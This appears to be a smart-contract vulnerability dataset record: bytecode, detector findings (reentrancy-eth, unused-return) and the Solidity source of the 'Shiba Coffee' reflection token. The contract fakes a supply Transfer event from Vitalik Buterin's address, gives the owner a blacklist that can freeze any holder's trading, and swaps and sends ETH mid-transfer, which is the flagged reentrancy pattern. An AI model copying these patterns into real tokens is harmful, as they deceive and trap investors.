c1d60198361315f565b9150612c2882613486565b602082019050919050565b6000612c40602a8361315f565b9150612c4b826134af565b604082019050919050565b6000612c6360228361315f565b9150612c6e826134fe565b604082019050919050565b6000612c86601b8361315f565b9150612c918261354d565b602082019050919050565b6000612ca960218361315f565b9150612cb482613576565b604082019050919050565b6000612ccc60208361315f565b9150612cd7826135c5565b602082019050919050565b6000612cef60298361315f565b9150612cfa826135ee565b604082019050919050565b6000612d1260258361315f565b9150612d1d8261363d565b604082019050919050565b6000612d35601a8361315f565b9150612d408261368c565b602082019050919050565b6000612d5860248361315f565b9150612d63826136b5565b604082019050919050565b6000612d7b60178361315f565b9150612d8682613704565b602082019050919050565b612d9a816132c3565b82525050565b612da9816132cd565b82525050565b6000602082019050612dc46000830184612b29565b92915050565b6000604082019050612ddf6000830185612b29565b612dec6020830184612b29565b9392505050565b6000604082019050612e086000830185612b29565b612e156020830184612d91565b9392505050565b600060c082019050612e316000830189612b29565b612e3e6020830188612d91565b612e4b6040830187612ba5565b612e586060830186612ba5565b612e656080830185612b29565b612e7260a0830184612d91565b979650505050505050565b6000602082019050612e926000830184612b96565b92915050565b60006020820190508181036000830152612eb28184612bb4565b905092915050565b60006020820190508181036000830152612ed381612bed565b9050919050565b60006020820190508181036000830152612ef381612c10565b9050919050565b60006020820190508181036000830152612f1381612c33565b9050919050565b60006020820190508181036000830152612f3381612c56565b9050919050565b60006020820190508181036000830152612f5381612c79565b9050919050565b60006020820190508181036000830152612f7381612c9c565b9050919050565b60006020820190508181036000830152612f9381612cbf565b9050919050565b60006020820190508181036000830152612fb381612ce2565b9050919050565b60006020820190508181036000830152612fd381612d05565b9050919050565b60006020820190508181036000830152612ff381612d28565b9050919050565b6000602082019050818103600083015261301381612d4b565b9050919050565b6000602082019050818103600083015261303381612d6e565b9050919050565b600060208201905061304f6000830184612d91565b92915050565b600060a08201905061306a6000830188612d91565b6130776020830187612ba5565b81810360408301526130898186612b38565b90506130986060830185612b29565b6130a56080830184612d91565b9695505050505050565b60006020820190506130c46000830184612da0565b92915050565b60006130d46130e5565b90506130e0828261331f565b919050565b6000604051905090565b600067ffffffffffffffff82111561310a576131096133f7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317b826132c3565b9150613186836132c3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bb576131ba613399565b5b828201905092915050565b60006131d1826132c3565b91506131dc836132c3565b9250826131ec576131eb6133c8565b5b828204905092915050565b6000613202826132c3565b915061320d836132c3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324657613245613399565b5b828202905092915050565b600061325c826132c3565b9150613267836132c3565b92508282101561327a57613279613399565b5b828203905092915050565b6000613290826132a3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e5826132c3565b9050919050565b60005b8381101561330a5780820151818401526020810190506132ef565b83811115613319576000848401525b50505050565b61332882613426565b810181811067ffffffffffffffff82111715613347576133466133f7565b5b80604052505050565b600061335b826132c3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561338e5761338d613399565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61373681613285565b811461374157600080fd5b50565b61374d81613297565b811461375857600080fd5b50565b613764816132c3565b811461376f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200ff97dd40159c2cc31fe6cfae69751a5369bc2c622725f0039a62879c98b133664736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,185 |
0xc730d8fda04c125572136cb42a97a322bb2370db | // File: contracts/ShibCoffee.sol
/**
*Submitted for verification at Etherscan.io on 2021-06-05
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SHIBCOFFEE is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiba Coffee";
string private constant _symbol = "SHIBCOFFEE";
uint8 private constant _decimals = 9;
uint256 private _taxFee;
uint256 private _teamFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d5e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612888565b61045e565b6040516101789190612d43565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ee0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612835565b61048c565b6040516101e09190612d43565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061279b565b610565565b005b34801561021e57600080fd5b50610227610655565b6040516102349190612f55565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612911565b61065e565b005b34801561027257600080fd5b5061027b610710565b005b34801561028957600080fd5b506102a4600480360381019061029f919061279b565b610782565b6040516102b19190612ee0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d3565b005b3480156102dd57600080fd5b506102e6610926565b6040516102f39190612c75565b60405180910390f35b34801561030857600080fd5b5061031161094f565b60405161031e9190612d5e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612888565b61098c565b60405161035b9190612d43565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128c8565b6109aa565b005b34801561039957600080fd5b506103a2610ad4565b005b3480156103b057600080fd5b506103b9610b4e565b005b3480156103c757600080fd5b506103e260048036038101906103dd919061296b565b6110a9565b005b3480156103f057600080fd5b5061040b600480360381019061040691906127f5565b6111f1565b6040516104189190612ee0565b60405180910390f35b60606040518060400160405280600c81526020017f536869626120436f666665650000000000000000000000000000000000000000815250905090565b600061047261046b611278565b8484611280565b6001905092915050565b6000670de0b6b3a7640000905090565b600061049984848461144b565b61055a846104a5611278565b6105558560405180606001604052806028815260200161363360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050b611278565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b039092919063ffffffff16565b611280565b600190509392505050565b61056d611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f190612e40565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610666611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90612e40565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610751611278565b73ffffffffffffffffffffffffffffffffffffffff161461077157600080fd5b600047905061077f81611b67565b50565b60006107cc600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c62565b9050919050565b6107db611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085f90612e40565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f53484942434f4646454500000000000000000000000000000000000000000000815250905090565b60006109a0610999611278565b848461144b565b6001905092915050565b6109b2611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3690612e40565b60405180910390fd5b60005b8151811015610ad057600160066000848481518110610a6457610a6361329d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac8906131f6565b915050610a42565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b15611278565b73ffffffffffffffffffffffffffffffffffffffff1614610b3557600080fd5b6000610b4030610782565b9050610b4b81611cd0565b50565b610b56611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bda90612e40565b60405180910390fd5b601160149054906101000a900460ff1615610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90612ec0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611280565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0857600080fd5b505afa158015610d1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4091906127c8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da257600080fd5b505afa158015610db6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dda91906127c8565b6040518363ffffffff1660e01b8152600401610df7929190612c90565b602060405180830381600087803b158015610e1157600080fd5b505af1158015610e25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4991906127c8565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed230610782565b600080610edd610926565b426040518863ffffffff1660e01b8152600401610eff96959493929190612ce2565b6060604051808303818588803b158015610f1857600080fd5b505af1158015610f2c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f519190612998565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff02191690831515021790555067016345785d8a00006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611053929190612cb9565b602060405180830381600087803b15801561106d57600080fd5b505af1158015611081573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a5919061293e565b5050565b6110b1611278565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113590612e40565b60405180910390fd5b60008111611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890612e00565b60405180910390fd5b6111af60646111a183670de0b6b3a7640000611f5890919063ffffffff16565b611fd390919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111e69190612ee0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e790612ea0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611360576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135790612dc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143e9190612ee0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b290612e80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152290612d80565b60405180910390fd5b6000811161156e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156590612e60565b60405180910390fd5b6005600a81905550600a600b81905550611586610926565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f457506115c4610926565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561169d5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116a657600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117515750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117a75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117bf5750601160179054906101000a900460ff165b1561186f576012548111156117d357600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061181e57600080fd5b601e4261182b9190613016565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614801561191a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119705750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611986576005600a81905550600a600b819055505b600061199130610782565b9050601160159054906101000a900460ff161580156119fe5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a165750601160169054906101000a900460ff165b15611a3e57611a2481611cd0565b60004790506000811115611a3c57611a3b47611b67565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611ae75750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611af157600090505b611afd8484848461201d565b50505050565b6000838311158290611b4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b429190612d5e565b60405180910390fd5b5060008385611b5a91906130f7565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bb7600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611be2573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c33600284611fd390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c5e573d6000803e3d6000fd5b5050565b6000600854821115611ca9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca090612da0565b60405180910390fd5b6000611cb361204a565b9050611cc88184611fd390919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d0857611d076132cc565b5b604051908082528060200260200182016040528015611d365781602001602082028036833780820191505090505b5090503081600081518110611d4